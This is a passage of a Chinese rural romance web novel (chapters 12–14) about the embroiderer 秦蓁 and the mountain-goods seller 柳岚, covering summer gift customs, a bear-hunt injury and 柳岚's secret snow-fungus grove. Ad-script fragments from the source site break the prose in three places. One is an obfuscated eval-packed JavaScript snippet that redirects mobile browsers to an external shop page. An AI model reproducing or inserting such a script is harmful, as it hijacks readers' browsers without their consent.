柳岚将提前备好的木盒递给她,说道:“听阿嫂说女子夏日耗的香膏多些,我不知你常用什么花香,就多拿了几罐,你看看。” 秦蓁依言打开,只见里面摆放着四罐香膏,盖子上勾勒出花样,简单示意是什么香味。 除了栀子浓烈,杏花、桃花、梨花算得上淡雅,若是让秦蓁挑选,她或许会偏爱此类。 不过秦蓁甚少涂抹香膏,作为女子,她自是抗拒不了香膏脂粉,只是一幅绣作至少要花费两三个月,即使味道再淡,时间长了,布料自然不可避免会沾染上。 秦蓁的主顾多是大门大户,绣品拿到手后并不会直接使用,而是根据主人的喜好加以处理。 最常见的便是熏香,使之融入需放置的室内,不仅能与周围的摆饰相得益彰,还能在气息上融为一体。 虽说熏香的技艺和手法早已日趋成熟,可杂糅了其他香味的布料总归不能让人满意,因此秦蓁会尽量避免。 秦蓁回想了近期的日子,问道:“你阿嫂提的?” “对。” 柳岚眸子中并无其他情绪,秦蓁掩面捂住笑,最终决定告诉他实情:“快到夏至了,女子间会相互赠送香膏脂粉,用于消暑散热。” 柳岚满脸错愕,似是不相信嫂嫂会这般逗弄他,可一想到他哥的德行,夫妻之间相互影响也不无可能。 “好啦,心意我收下了。”两人相处这么久,最初的拘谨早已不见,此时连秦蓁的笑都带着几分随性。 柳岚打消了对他哥的指责,心想秦姑娘笑得真好看。 秦蓁回东厢房将香膏和柳岚带的其他东西放好,到灶房提了一篮子的菜给他。 秦蓁侍弄得好,水也浇得勤,菜地里的菜一茬接着一茬,凉瓜、布瓜和豇豆往外送了又送。 青瓜作为夏日的新宠,秦蓁多数留给自己,念及柳岚自己种的菜少,常去大伯家摘,所以秦蓁还是给他多分了几条。 汉子的脸臊得发红。 他这样好似同大伯娘骂的打秋风的穷酸亲戚无甚区别。 可下回不好送秦姑娘什么,簪子还未到时机,秦姑娘也不爱戴绢花。 柳岚提着篮子一脸苦恼,秦蓁问道:“怎么了?” “先前的石蜜还够不够?”回话间,柳岚的神色已恢复如常,“不够我再拿些过来。” “我一个人能喝多少?” 在秦蓁小时候,蜜糖是常冲泡的茶饮,有爹爹在,家里的蜜罐从不会落空。 可惜世事难料…… 眨眼间已经过去了好几年,秦蓁渐渐学会了精打细算,即使是柳岚送了一罐蜜糖也不敢多喝,隔上好几天才会尝尝味。 柳岚跟着她一起笑,轻声道:“缺什么同我说。” 秦蓁明白他话里的含义,只点头不语。 —— 暑气在悄然间汇聚,随着白日渐长,午时也愈发炎热,女子间互赠香膏脂粉的雅事开始兴起。 除了赶集、唠家常,平常女子可供玩乐的时间极少,总会在大家小家中忙忙碌碌。 夏至时的习俗不仅能让人歇口气,也是大家往来联系的一种渠道。 香膏流传甚广,各家手法如春日的百花争艳,在新品层出不穷的今日,最廉价的香膏只需五文钱。 如若不是实在揭不开锅,大部分的女子都可买上一两罐参与。 秦蓁虽不常用香膏,对其价格却有所了解,柳岚送的四罐质地较好,盖上还有花纹,多半是五十文一罐的中等香膏,这对于村里人来说属实算得上佳品,更别说四罐价值两钱,是五口一家大概一两个月花费的银钱。 柳岚不好酒,其他的恶习也没有沾染,每月收入的数额秦蓁暂不清楚,但就柳岚平日的作风而言,开销不算大,甚至可以说上一句简朴。 秦蓁见过镇上的一些公子哥滥用家财随意挥霍,多是只搏美人一笑,也不乏有人妄图用这类法子求娶她,可在秦蓁看来,只能评轻浮一词。 她还听闻,有一户人家的儿子花费积蓄只愿同另一人争夺佳人,却在之后穷困潦倒,秦蓁也只觉莽撞。 但以柳岚的性子,自然不会做出不稳重的糊涂事,因此秦蓁能坦然接下。 那一罐栀子香,秦蓁询问过柳岚后还是决定赠送给柳彤。 小丫头不清楚价格,也不会深思,得了礼物后满是欣喜。况且小姑娘暂未有显然的喜好,多见识几种也未尝不可。 秦蓁昨日去镇上采购了十几罐用于赠送的香膏,香味各异,价格统一在三十文左右,不高不低,让人无从挑剔。 毕竟姑娘们家里再富有,也不会平白花费多余的铜板去买一小罐香膏,换成两文钱一个的鸡蛋足够一大家子吃饱了,因此好话说尽也只能买二十文一罐的香膏。 秦蓁则不同,她自己挣的银钱自己花,没人指摘,甚至镇上的叔伯哥嫂还时不时补贴她,五钱不到的香膏,甚至还不够买一坛好酒。 “秦姐姐,听小二说这是今年新出的茶香,涂抹后确实清爽,很适合秦姐姐。”李青竹将一罐碧绿的香膏递给秦蓁,满眼期待。 香膏多是两人之间互赠,可她们尚未出嫁,绣帕子挣得的铜板不过三三两两,即使加上娘亲偶尔给的零碎,自己也买不起像样的香膏,因此姑娘们一商量,决定各自凑点钱买一罐好的送给秦蓁,毕竟秦蓁在她们眼里比镇子上的小姐也差不了多少。 秦蓁揭开盖子,以手作扇闻了闻,苦涩的茶香带出清凉的薄荷香,确实会让人在燥热的夏日里习得几分凉爽。 “味道很好,多谢大家了。”秦蓁笑着收下,又将备好的回礼在桌上摆开,“今年的类别多些,我每样拿了两罐,你们挑选自己钟意的,可别争抢。” “多谢秦姐姐!” 大家商量着拿取,关系亲近的会记得旁人常用的香味,想尝试新香膏的也会询问其他姑娘的意见,女子之间有小摩擦在所难免,但她们相处久了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,已然学会共处的方法。 李成玉今天难得出门,选好自己看中的香味后和大家一起落座。 姑娘们显然没有做女工的打算,偷摸着带了一些小零嘴过来同大家闲聊。 “玉姐姐,这些天你都在家里绣嫁衣?” “是啊。”李成玉一提起这个,怨念如有实质,“我娘本想留我到明年开春,可他家姥爷年岁渐高,只盼着小曾孙早日成亲,两家一商量,定在了两个月之后,我娘可不天天压着我绣嫁衣。” 李成玉的话也是提醒了将要说亲的几个姑娘,嫁衣的缝制宜早不宜迟,可别等到定下日子才着急忙慌,毕竟每家的打算都不同,万一没留出充足的时间草草嫁人那可得不偿失。 多数女子一生只有一次出嫁的机会,自然得万般珍重,因贪玩耍懒误了终生怕是会悔恨。 已经定亲的几个姑娘出嫁时间有近有远,但多数东西在娘亲的安排下已经准备妥帖,按照章程一步一步来,总不会出错。 娇养的姑娘对婚事仍带着几分憧憬,秦蓁打听过不少事,并不会将其过于美化,不过看姑娘们聊得这般热闹,她也不忍心打搅。 这群姑娘里多是二八年华,十七岁的少女不日即将出嫁,最小的妹妹刚过十五岁,也定好了亲事。 大家也是近来得知此事,纷纷询问。 “婷婷,是不是定得太早了?” “你娘可同你说了?” “对方是哪个村的,家境如何?” 李诗婷咽下糕点,回道:“我娘说对方家境尚可,比我大一岁,模样我也见过,周正大气,是适龄男子里最出挑的一个。只是先定下,不着急成亲,至少再留我一年。” 能在秦蓁院里绣花闲聊的姑娘家里条件都不差,因此对自家姑娘更上心些,基本上会在十四五岁时寻摸适合的男子,十六岁定亲后次年成婚,总归家里养得起,当娘的都想把女儿多留两年。 关于亲事的询问大家都只是点到为止,转而聊些无关紧要的琐事。 秦蓁听着众人的欢声笑语,却依旧能从中探出几分离别的愁绪。 好在她们家里人也不愿自家姑娘远嫁,能说出口的定亲对象都在周围临近的村子,将来依旧有重聚的机会。 热闹了一个上午,小院回归平静。 秦蓁念头一起,从衣柜深处拿出一件嫁衣。 庄重的正红携有最殷切的期望,成对的锦鲤在日华的照耀下流光溢彩,水波纹中的莲花栩栩如生,好似真的在随风荡漾,若是细看,连点缀的水波云纹都在生辉。 这是秦蓁娘亲根据她的身形提早做的嫁衣,暗绣了金线银丝,主流的花样经久不衰,放在何时都适用。 秦蓁悄悄试了试,很是合身。 她心里一时不知是何滋味,情绪堆积在眼眶将落未落。 旁边还有一块同色的布料,显然是为秦蓁未来夫婿准备的,连绣线都一应备齐了。 秦母摸不准女婿的尺寸,只能尽量往大了裁,秦蓁眼力尚可,估摸着这料子给柳岚做一身婚服绰绰有余。 不过当下八字一撇未定,秦蓁不愿庸人自扰,便将衣料重新放回。 12. 第12章 夏日的深山里林子愈发茂密,即使是午时的烈日透过林间间隙落地形成光耀,被层层遮蔽的地面依旧凉爽。 装了干粮和伤药的布包堆放在一起,隔开的空地中间生了一小堆火,九、十个汉子分散在四周吃晌午饭。 柳岚到溪边舀捧溪水喝,随意寻了处阴凉地准备小憩会。 一个半大小子凑过来,朝柳岚挤眉弄眼:“岚哥,这次的干粮不是于婶准备的吧?” 其他人听到声,也将注意力转移到这边。 寻常山货在村子周围的山里就能找到,柳岚想拓宽门路,只能去深山里碰运气,但深山凶险,只靠他一人定然不成,于是他开始找熟悉的猎户合作。 猎户带柳岚进出深山,找到的山货出手后分两成银钱给同行的人,至于猎户之间的分配,则由他们内部定夺。 这笔钱有时算不上多,但对于猎户而言是一笔轻松的外快,毕竟只是护送一个人,还是体力和耐力都不错的汉子,不仅不会拖后腿,有时还能帮衬一把。 一来二去,众人也渐渐熟悉。 他们出行,干粮都是自己老娘或是媳妇做好的,光棍则自己去买糙馒头填肚子,要是碰上哪个邻居得空帮忙,也会托人多做些。 柳岚往常是自己蒸糙馒头,大伯娘接手的话还会再烙几个饼子,这次却一包白面馒头被妥帖装在背篓里,惹得一众汉子伸长了脑袋想要看热闹。 柳岚不答,笑着问:“怎么了?” 同村的李兴在一旁拱火:“岚哥,我可看到你好几次朝东边跑。” 一群人开始起哄,有的问是哪家姑娘,也有的问什么时候成亲请吃酒。 柳岚和秦蓁对两人的关系没有要遮掩的意思,却也不想大肆宣扬,几个汉子不是刨根问底的性子,只是他们相处久了,把人当兄弟看,忍不住为柳岚高兴。 这次出来的十个人里,有七个人早已娶亲成家,只剩下带队的赵承和新来不久的林瑞,以及柳岚。 不过十六岁的小子早定好了人选,老光棍的名头现在终于少了个柳岚。 “还在跟人家接触,等有好消息了肯定请大家喝酒。” “那大伙可都记着呢,岚哥你可得早点把人娶回家!” 闹完柳岚,有人又将矛头对准了赵承,“赵哥!你啥时候请哥几个喝酒?” 赵承今年二十二,是周围最好的年轻猎手。 按照常理来说,猎户挣钱快,有时还能拿大钱,家里也能多沾荤腥,是较为抢手的夫婿人选,不过赵承性子独,脸上还有一道两寸长的疤,相亲相过几次后便不愿去了,这些年一直一个人过着。 “没影的事。赶紧躺会,歇好了起身赶路。” 众人这才消停,寻了个地躺下。 赶路时,李兴特地挪到柳岚身旁,悄声同他说道:“岚哥,你去那边从不遮掩,被人看到好几次,兄弟信你没那个心思,可挡不住有人传你想攀人家的高枝,别的倒无所谓,就是怕姑娘家听了这些心里不舒坦。” 李兴见他听进去了,又添了句:“我媳妇跟我说的,要是有误会得趁早解开,可别跟个锯嘴葫芦似的不开口。” 柳岚不卖山货时只埋头苦干,确实会给旁人一种木讷的错觉,女子更了解女子,李兴媳妇想着两人哥俩好,自己多说几句能尽份力也好。 —— 秦家小菜园不大,菜却收了一茬茬,村里人种菜有早有晚,可再如何也不会乱了时节,因此每家都有收获,送菜不好送出手,只能和别人家换自家量少的或是落下没种的,若是足够多,还会想办法囤着,留到冬日菜少时吃。 秦蓁在灶房烧开了水,将一把豇豆放入水中焯一遍,笊篱捞起后摊开在竹匾上,铺满了最后的一点空隙。 受日晒时辰最长的空地上已经摆了三个竹匾,是秦蓁忙碌了半个时辰的成果。 她收拾得仔细,清洗了两遍才会把菜下锅,家里没有准备晾晒的竹席,只能用竹匾一个个来。 秦蓁步履匆忙,处理完零碎的家务事后背上竹篓和小锄头,朝村头走去。 她和李青竹等人约好了,今日上午去挖野菜,趁着夏秋两季物产丰富,得多囤些好过冬。 秦蓁在吃食上考虑得不多,她一个人过活,还有银钱,只留粮食也能度过寒冷的冬季,她更多的是享受同姑娘们聚在一起时的乐趣。 林子里有树荫,清风拂过时还带来几分凉爽,大家边挖野菜边闲聊,走走停停也挖了大半个篮子。 “那里还有好些呢,把篮子压实,咱们多挖点。” “估计是没挖到这边来,才入夏,村子周围的野菜暂且够吃。” “我去年来晚了,半篮子都没挖到,回家被我娘骂了一顿。” 旁边姑娘笑她:“你这慢手慢脚的德行,今年可算是赶上趟了。” 大家年纪渐长,还有几个不久就要经营自己的小家,囤冬粮在以往的她们看来是累人的活计,如今却知道是过冬的救命粮,便越发重视。 当篮子里塞得满满当当后,姑娘们打道回府,随意折了根树枝挡挡烈日。 还未进村,大家就从不同寻常的氛围中察觉到了难得的热闹。 上午的日头对农户来说算不得什么,田间地头总会看到好几道人影,现下却看不到半个。 东边隐隐约约传来一阵喧闹的声响,姑娘们循声而去,路上碰到几个来得晚的妇人,相熟的姑娘凑过去询问:“三婶,这是咋啦?” “诶呦!宁丫头!走走走!赵承那几个小子猎了头黑瞎子,可不得去开开眼!” “是哩,好些年没见着了。”后头慢悠悠跟着的阿奶接了一句。 姑娘们从未见过这等稀奇事,就近将篮子放到某个姑娘家,一行人浩浩荡荡跑了过去。 一到东边的山脚下,人群围了个里三层外三层,黑瞎子的轮廓半点见不着。 混乱间,秦蓁看到柳岚着急忙慌牵了驴车过来。 柳岚也在外围的人群里瞥见了她,来不及多想,靠近秦蓁时安抚她道:“秦姑娘别怕,离远些,别被吓着。” 秦蓁还以为是黑瞎子长得吓人,却不想人群分开后柳岚驾着驴车疾驰,后面的两个汉子护着中间那个,薄薄的夏衣上沾了血。 匆忙间看不清太多,可明眼人都知道是出了事。 紧接着,装了各种猎物的板车也冲了出来,秦蓁只见到一团人高的黑影。 姑娘们的兴致全然被浇灭,胆子小的目光现在还呆愣着。 虽说家里杀鸡破鱼见过不少,可这么血淋淋的场面还是第一次遇到,秦蓁倒还好,一趟镖来回的路上总有事故偶发,她见过几次叔伯受伤的场景,因此不至于害怕。 李成玉和李青竹最早回过神来,帮着秦蓁一起安抚其他人。 一时之间,秦蓁和柳岚的事情被人略过,看热闹的村民也渐渐散开,回家谈论一阵后又将回归平静的生活,姑娘们跟着家里人回去,被长 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 辈护着说要挡挡煞气。 待到下午时分,李成玉和李青竹在去往秦家的岔路口相遇,李青竹问道:“也去秦姐姐家?” 李成玉点头。 两人结伴而行。 “你也听到了?” “大家应当都听到了,只是发生了那样的事,暂时没有心思回想。” 李青竹一想也是,她都缓了好一会。 …… 秦蓁疑惑地接过两人给的桃木牌和红绳,问道:“这是?” “是保平安的,女子体弱阴气重,见了血需戴着护一护。” 秦蓁闻言收下。 她一直以为求了平安福便能心安,至于所谓的煞气,可能还没有她上过战场的爹爹和叔伯重,不过这是人家的一片好意,还是收下为好。 随后,李青竹同李成玉对视一眼,后者斟酌着开口:“秦姐姐,你和那位山货郎……” 李成玉听多了山货郎,一时竟忘了人家的本名,磕磕巴巴反倒没问出口。 “柳岚吗?”秦蓁大概猜到了两人的来意,坦然道:“他先追求我,如今是两情相悦。” 李青竹倒是粗略看出了两人之间的熟稔,对这个说法并不意外,她叹了口气:“那些嘴碎的又有得说了。” 秦蓁望着愁眉苦脸的两个人,忍不住笑道:“自己的婚事没处理完,怎么尽操心起我来啦?” 秦蓁比她们大一两岁,平日里温和沉稳,常让人觉得安心,可再如何,李成玉都忘不了这个姐姐那年羞涩地问刚认识不久的她们该如何种菜。 因此,最开始接触秦蓁的李成玉和李青竹总觉得她需要人护着、操心着。 “村里风言风语传得最快,秦姐姐你可别大意。” “可我并不在意旁人说什么,而且我鲜少外出,一双耳朵又能听到多少呢?” 眼前的女子笑得温婉,好似不会因外界而烦恼,两人这才惊觉——秦蓁和她们接触太久,以至于让人忘了她经历过丧父丧母的悲痛,她其实,比很多人都要坚韧。 “放心,好好准备自己的婚事,我没事。” 送别两个忧心忡忡的姑娘,秦蓁不禁拂过挂在腰间的桃木,她落下个笑,在门口等了片刻后,觉得有些呆愣,便转身回屋了。 到了次日,柳岚将自己收拾妥帖才敢到秦家。 他下山匆忙,四五天待在山里过糙日子,青茬也没有刮,显得邋里邋遢。柳岚把剃刀在磨刀石上磨了几遍,足够锋利之后又细细刮了个来回,折腾够了才出门。 秦蓁故意打量他,昨日的柳岚不复往常的温润,倒添了几分锐利,是难得的另一面。 柳岚被她看得不自在,“怎,怎么了?” “没什么。”秦蓁转而问昨日的事,“受伤那人情况如何?” 柳岚边卸下背篓边说道:“没伤到筋骨,出事后及时止了血,下山时受了颠簸,但救治得当,大夫说并无大碍,修养个两三月便好。” “那他家里呢?” “那头黑瞎子卖的价钱高,其他猎物也不差,赵哥和大家说好了,多分些银钱给他家,以往也是这样处理,没发生争执。” 秦蓁跟听话本子似的点点头,柳岚眼里攒了笑意,并未多说什么。 他拎起奄奄一息的野鸡,朝秦蓁道:“拿刀给我,拔毛要不要我来?” 秦蓁略微思索了一会,朝他道:“要。” 柳岚笑了声,手掌在秦蓁头顶拂了拂。 13. 第13章 吱——吱—— 蝉鸣在夏日的午后响起,树枝微微晃动,偶尔才能听到乍起的哗啦声,随后吹来一股清风。 天愈发燥热,秦蓁坐在檐下,从碗里舀了勺雪耳莲子羹。 跟前垂下的葡萄藤帘幕随风荡漾,让人生出几分惬意。 雪耳和莲子等食材是柳岚一道拿过来的,怕她不会熬煮,还特地叮嘱了几句。 甜丝丝的糖水里飘起几颗红枣和枸杞,秦蓁又喝了口。 突然间,她看到远处飘来的一片乌云,下意识收起了晾晒的衣物和菜干。 果不其然,不久后土地上落了几颗黑点,随即黑点范围扩大,浩浩荡荡倾下一场大雨。 溅起的泥点附着在周围的墙面上,秦蓁回到堂屋,站在门口感受雨后卷起的热浪。 噼里啪啦的雨声像急促的琴音,若不是有些不牢固的房屋会在大雨后倒塌,这动静听着倒有几分畅快之意。 土腥气随着雨水弥漫开来,引水的雨链原本只流下几道水痕,而后形成水柱,沿着地下的水道流走。 秦蓁赏了会雨,躲在檐下回房继续做绣活。 不知为何,秦蓁总感觉近来手顺了许多,以往落针会有滞涩感,画好的花样也略显突兀,旁人或许看不出细微的差别,行家却能一眼看出,不过小镇的大家寥寥无几,说不出个子丑寅卯,只觉着秦蓁绣的画好看。 绣出的画面愈发趋于自然,原计绣完一半的日子竟已完成大半。 秦蓁身心通畅,下一幅绣作的巧思也渐渐涌入脑海。 …… 骤雨方歇,林间草木残留的雨水沾湿了衣裤,柳岚却不在意,一心朝着目的地而去。 一场大雨落下,躲藏在枯枝落叶下的菌子纷纷钻出,撑起一个又一个的小鼓包。 若是以往,柳岚必定会记住菌群的大概位置,可眼下他着急赶路,匆忙间也顾不上这些。 翻过两座大山后,柳岚来到一片山谷的缓坡处,生长在深山的树木枝繁叶茂,五六棵便足以达到遮天蔽日的效果,不过仍有细碎的光散落在谷内,衬得树叶愈发翠绿。 较为开阔的空地上随意放置着许多节断木,断面平整,一圈一圈的年轮清晰可数,明显是人为而致,看似无序的摆放,实则将最里层的枯木包围了起来。 这里雨水充沛,连最新放置的断木都覆盖了一层浅浅的青苔,各色的菌子从绿苔中冒出,好似在作点缀,其中还有一小簇白色接近透明的菌子,不过数量十分稀少。 柳岚的目光全然落在那些簇生的菌子上,每路过一个都要仔细观察。 越到中间,特殊菌子的数量越多,但比其林间的其他菌种,这类还是算不得什么。 里层的枯木上绽放着四朵雪白的花,被雨水洗过的花瓣晶莹剔透,好似从天界掉落至人间的雪莲。 雪耳,是柳岚同他爹去卖山货时偶然听到的名字。 那时的柳知山采到一朵泛黄的雪耳,因为匆忙,混在了其他菌子里,被一户人家的掌事识出,出价三两将其买下。在当时,三两的价格算得上高昂,柳知山回家后立马跑到采雪耳的地方,可惜寻遍各处也没有找到第二朵。 此后,柳岚一直在暗暗打听雪耳的消息,知道其价值后心思更加按捺不住,常在柳知山采到雪耳的前后两个月去周边的山林里找寻。 某一次误入这片山谷,才终于看到一朵绽放在枯木上的雪耳。 那朵雪耳品相极佳,一举卖出了二十两的高价。 次年依旧有雪耳长成,但柳岚没有妄动,他想着,家里种菜都会留种子,来年可以继续种,他找不到雪耳的种子,但应该是有的,若是在周围多制造一些雪耳能长成的地方,来年会不会长出更多。 枯木是寻常的栎树,柳岚各种栎树砍了一棵,锯断后胡乱摆在周围,还在树干上凿了孔洞或划出痕迹,尽量模仿那根枯木的样子。 第一年初见成效,不过雪耳的品质不好,柳岚多加改良,三年后的今天才获得四朵佳品。 除去最好的那朵留作种,三朵中柳岚打算一朵趁新鲜卖出,另外两朵则晒干等春冬再出手。 确认山谷除了自己没有其他人来过之后,柳岚在回去的路上边采菌子边看有什么好看的花,若是方便移栽的,他还会做个记号。 等秦姑娘答应定亲后商量好婚期,他就得准备建新房子了,届时还是栽些花好看,也不知秦姑娘会不会喜欢。 —— 秦蓁在院里歇息时最爱看那颗颗饱满的葡萄,有几颗早熟的逐渐变得透亮,用手轻触还能感受到由硬转软的细微变化。 一串串果子都坠在绿叶下方,能阻挡一些鸟儿的视线,靠屋檐以外的其他三面还挂上了草帘。 秦叔朗当年移过来的是老苗,次年就结果了,小秦蓁天天盼着好吃的紫葡萄,结果被不知名的鸟儿捷足先登,小姑娘当时哭哭啼啼被哄了两三天。 有了这个教训,秦叔朗当即拉了网子,又挂上帘子,才守住秦蓁的葡萄。 今年风调雨顺,结出的葡萄味道应该会更好些,秦蓁跟着村里人好歹种了两三年的菜,大概能看懂时节的好坏。 又是一个晴朗天。 骤雨难以预料,但据以往的经验来看,若夜晚的天幕上满是星光,那第二日极有可能是晴天。 屋里的书籍和布料藏了大半年,这段时间天气好,地里也不太忙,家家户户开始把被褥衣裳抖出来晒晒。 秦蓁也将家里的书籍和衣物拿出来晒日光。 这几年忙于生计,秦蓁都忘了她上一次看的是什么书,不过她翻阅儿时的启蒙书,还能记起当时的感触。 徐清媛收藏的书并不多,不过是四书五经之类,但最显眼的还是各类话本子。 秦蓁听娘亲说过,她以前同小姐妹闲来无事,最爱翻看那些不着边际的话本和山水游记。 秦蓁对书籍倒没什么偏爱,拿到手里总能读上一读。 忙活一上午,总算将满柜子的东西都收拾出来了,秦蓁干脆把家里整理一通。 清洗后的物品又占据了一片空地,秦蓁锤锤泛酸的腰,躺进摇椅里歇息。 摇晃间带起小风,秦蓁顺手拿起旁边的蒲扇扇风,果然更舒爽了些。 …… 夏日随着烈日的东升西落逐渐走向尾声,因三伏未过,暑气尚在,庄稼汉仍需起早贪黑在田地间劳作。 前些日子种的绿豆长势好,在雨水的滋养下愈发茁壮。 几声闷雷在云中响起,眨眼间,稻田平静的水面泛起涟漪,灌浆的稻谷也被打得摇摇晃晃。 早已习惯的农人们无惧风雨,迅速疏通田埂间预留的缺口,以防雨水蓄积在田里淹了稻苗。 临近的汉子相互喊话,确保各家进出水口没有堵塞,否则影响的不止一家人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981178|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田地。 夏季水量充沛,稍有不慎便容易引发洪涝,好在县令会做实事,年年带着人去查看堤坝,解决问题的同时不忘加固堤坝以防万一。 寻柳村附近有两条大河,一到夏季同样会涨水,不过村长兼里正的李和顺每年冬季都会组织人手拓宽河道,挖深河谷,在大家伙日子好过了之后还募捐钱款修建一座小堤坝,被巡视的县令好一阵夸赞。 村民们常聚集着清洗衣物的河滩似乎没受到暴雨的影响,水面依旧保持在原有的高度。 秦蓁听李青竹说,是因为上游的堤坝在落闸蓄洪,村里有几年大雨之后连着大旱,庄稼不少都是被旱死的,那时收成不好,一个月饿死了好几个老人。 秦蓁一家搬过来后没见过气候异常,因此对这些事情并不知晓,不过有官府和里正的把控,倒不用过于担忧。 姑娘们在闲聊中浣洗衣物,李成玉问道:“秦姐姐,上午去不去捡柴火?” 秦蓁点头答应下来。 上次柳岚搬过来的柴火才用了一半不到,但突如其来的落雨常把人困在屋子里,秦蓁再乐意独处,也不禁开始烦闷起来。 几个姑娘约好在秦家碰面,周围山上的柴火差不多被拾干净了,要么往深处探,要么去人少的东边。 林子里果真凉快不少,姑娘们分散在能呼唤到的地方,各自将拾到的柴火归拢到一处,然后扯根柔韧的树藤捆成一捆。 天气炎热,谁也不想背着柴火爬到山下,李青竹又绑了根树藤捆严实,拖着柴火走在前头。 其他人有样学样,挑着宽阔的山路轻松下山。 三趟过后,众人热得实在是走不动道,瘫在秦家堂屋纳凉。 幸好秦蓁提前备好了凉茶,喝了之后缓过来不少。 就在大家歇息好准备回家时,秦家的门口传来一声男子的叫唤。 姑娘们刚站起的身子立马坐下。 除了李成玉和李青竹在当日反应过来,其他姑娘也在事后琢磨出了一丝不同寻常,不过她们不敢当面询问,只能拐弯抹角探出点实情。 秦蓁听出了柳岚的声音,顶着大家打趣的眼神朝门口走去。 柳岚挑了一担大柴,满头热汗来不及擦拭,只朝着秦蓁笑,但余光却看到堂屋里坐了好几个姑娘,他急忙后退一步,也渐渐收回了笑。 在汉子面前说着要请喝酒的人,此时露出一丝怯意和紧张。 秦蓁笑他:“你躲什么?” 柳岚摇摇头不说话。 秦蓁回头看了一眼,朝他道:“一群看热闹的小丫头,别管她们。” 柳岚知道同秦蓁交好的姑娘在村里家境还不错,其中有一个还是他堂妹,他突然怕自己显露出的贫穷会让秦姑娘落了面子。 “……我这么过来是不是不妥?”柳岚松开抓紧的衣裳下摆,轻声问道。 高大汉子的局促显而易见,秦蓁悄悄吸了口气,借着遮挡握住柳岚垂落在一旁的手,“有什么不妥?” 柳岚顿时僵住,也不敢挣开,只能直勾勾盯着地面不知所措。 “放宽心,同往常一样就好。” 柳岚假装镇定,一担百来斤的硬柴在他肩上好似只有几斤,放进柴房后连水都来不及喝便匆匆告别。 姑娘们没有细看,在人走后只缠着秦蓁说说两人之间的故事,秦蓁挑了几件其他人没说过的,惹来大家羡慕的眼神。 14. 第14章 秦蓁洗完衣裳回来,恰好碰上先一步到家的吴芳,她叫住秦蓁,“秦姑娘,昨天刚摘了个冬瓜,我给你切块带回去尝尝。” 秦蓁没来得及拒绝,赵家婶子就进门了,她只好在外头等。 “今年摘的头一个,味道应该是不错的。” “那就多谢赵婶了,我待会给您摘点布瓜过来。” 吴芳倒不是贪秦蓁种的菜,不过她能这样说,自己心里还是高兴的。“好,好。” 经过吴芳的提醒,秦蓁也去后院瞧了瞧自己种的冬瓜。 其实她种下后便没怎么管过,只偶尔施施肥。宽大的叶子和瓜皮一样覆盖着一层白色绒毛,日趋成熟的冬瓜躺在地上格外醒目,只有稚嫩的瓜尚且躲藏在叶子底下。 秦蓁估摸着,自家的瓜再过几天也能摘了。 回到灶房,秦蓁准备将赵婶给的冬瓜打汤作为午饭的配菜。 洗衣裳时离家近的柳春苗拿了一小把刀豆给她,正好留作晚饭。 自从知晓秦蓁和柳岚之间的关系,柳春苗对她更加亲近,逮着空送她些菜,秦蓁有时也会回送过去,顺便再带点给柳彤兄妹俩和柳岚。 柳春苗送给秦蓁的菜原本是她娘给大伯母准备的,可她只要一想到大伯母天天说她耍懒,还无缘无故骂三堂哥就气人,干脆把菜送给秦姐姐和其他姐妹。 反正就算是维系亲戚关系也不用回回送菜,她娘不舍得骂她,爹爹和哥哥嫂嫂更不会。 柳罗最近大概是在给柳岚帮忙,若是家里落了锁,多半是在柳岚家,或者跟着柳岚上山去了。 柳彤最常来的还是秦家,不过有时也会想去其他地方玩耍,柳罗并不拘着她,只让小丫头保护好自己。 柳岚第二次见到秦蓁站在自己家门口的时候简直是又惊又喜,他近来有事,因此去秦家的次数少了些,没想到秦姑娘居然自己过来了,直把柳岚乐得找不着北。 不过他做买卖久了,惯来会遮掩神色,除了秦蓁和大伯一家,倒没有其他人发现。 —— 七月七,乞巧节,也是年轻男女求姻缘的佳节。 整个村子因此变得格外的热闹。 由于夜晚要摆祭台,村长和年长的长辈特地挑选了十几对和睦的老夫妻来准备供品,以求来年的新婚夫妇能家庭美满,阖家欢乐。 年轻的男男女女则满心期待,希望心悦的对象能接受自己。 在河边洗完衣裳的姑娘们结伴而行,叽叽喳喳谈论着今年的乞巧节。 “秦姐姐,今年你来不来?” 秦蓁前两年没有心怡的对象,且忙于生计,逢年过节一切从简,天天待在家里做绣活。 今年大家都知道她有了心上人,便忍不住问问。 “去看看。” 姑娘显然很高兴,凑到秦蓁身边七嘴八舌说着。 “秦姐姐,那我们走的时候叫你。” “秦姐姐!正好我们几个围一圈,看看谁能得个巧手!” “秦姐姐,记得带个驱蚊虫的香囊,去年我就被咬了一口。” …… 秦蓁没有参与过,因此仔细听着大家的建议,以防有遗漏。 其实以前她们在秦家唠嗑的时候秦蓁听到过一些,不过见大家这么热情,她也没拒绝。 秦蓁走在回家的路上,隔着一段距离看到家门口有个高瘦的汉子正在锄地。 柳岚先前帮忙清理过秦家附近茂盛的杂草,一场场大雨落下,空地上又被半人高的杂草占领。他早起把地里的活干完,来不及回家把锄头放下,径直朝秦家而来,却忘了秦蓁早晨会去河边洗衣裳,左右也是干等着,不如趁这个空挡做点事。 正好看到攀爬的藤曼举着一朵朵杏色的牵牛花,他便带着藤曼采摘下来,编成一顶花环,垫了几张宽大的树叶放在门口的阴凉处。 “柳岚,别忙活了,过来歇会。” 秦蓁忙着招呼柳岚,并未注意到角落里的东西。 柳岚在发现她后也停下动作,迈步走向门口。 秦蓁暂且将木盆放到晾衣杆附近,一回身发现汉子的手里多了一个花环。 他示意秦蓁过去,把花环稳稳戴在心上人的头顶。 秦蓁本就长得好看,在花朵的衬托下愈发貌美,平常沉静的眸子里泛起笑意,灿若夜晚的星光。 